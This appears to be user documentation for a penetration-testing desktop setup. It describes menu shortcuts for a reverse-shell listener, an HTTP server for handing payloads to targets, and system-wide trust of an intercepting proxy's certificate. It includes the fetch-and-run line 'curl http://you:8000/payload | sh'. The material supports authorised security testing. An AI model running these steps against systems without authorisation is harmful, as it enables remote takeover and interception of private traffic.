Working the Machine

Quick Attack Actions

Some things you do at the start of nearly every engagement, and each one costs a few minutes of the same fiddly setup. Oniomarchy turns those into single menu entries so they’re one keystroke instead of a remembered incantation. They live under Trigger → Pentest, right next to the services menu.

Reverse Shell Listener

The other half of a reverse shell. You generate a payload that connects back to you — with msfvenom, a revshells.com one-liner, or by hand — and you need something listening to catch it. This entry does exactly that:

  1. Pick Reverse Shell Listener from the menu.
  2. It prompts for a port using Omarchy’s themed input widget.
  3. A terminal opens with a listener running on that port, ready to catch the shell and hand you an interactive session.

It uses ncat (from nmap) for a solid, interactive listener. Because your machine’s IP addresses are printed whenever you launch tools from the Security menu, the LHOST you put in the payload is always right in front of you.

HTTP File Server

The universal “get a file onto the target” move. You constantly need to serve a file — a payload, a tool, an exploit — over HTTP so the target can pull it down. This entry stands up a quick web server:

  1. Pick HTTP File Server.
  2. It prompts for a directory to serve (blank serves your home directory) and a port (blank uses 8000).
  3. A terminal opens running a simple HTTP server on that directory. Closing the window stops the server.

It’s the fast path for the classic curl http://you:8000/payload | sh handoff, without typing out the server command every time.

Trust Proxy CA

The step everyone forgets when setting up an intercepting proxy. To intercept HTTPS, your browser and tools have to trust the proxy’s certificate — and until they do, every HTTPS page throws a certificate error.

  1. Start Burp or Caido.
  2. Pick Trust Proxy CA from the menu.
  3. It grabs the proxy’s certificate and trusts it system-wide, so Firefox, Chromium, and curl all trust it at once — not just one browser.

After that, HTTPS pages flow through the proxy without a certificate warning, and you can get on with testing. See The Hardened Browser for the FoxyProxy side of the setup.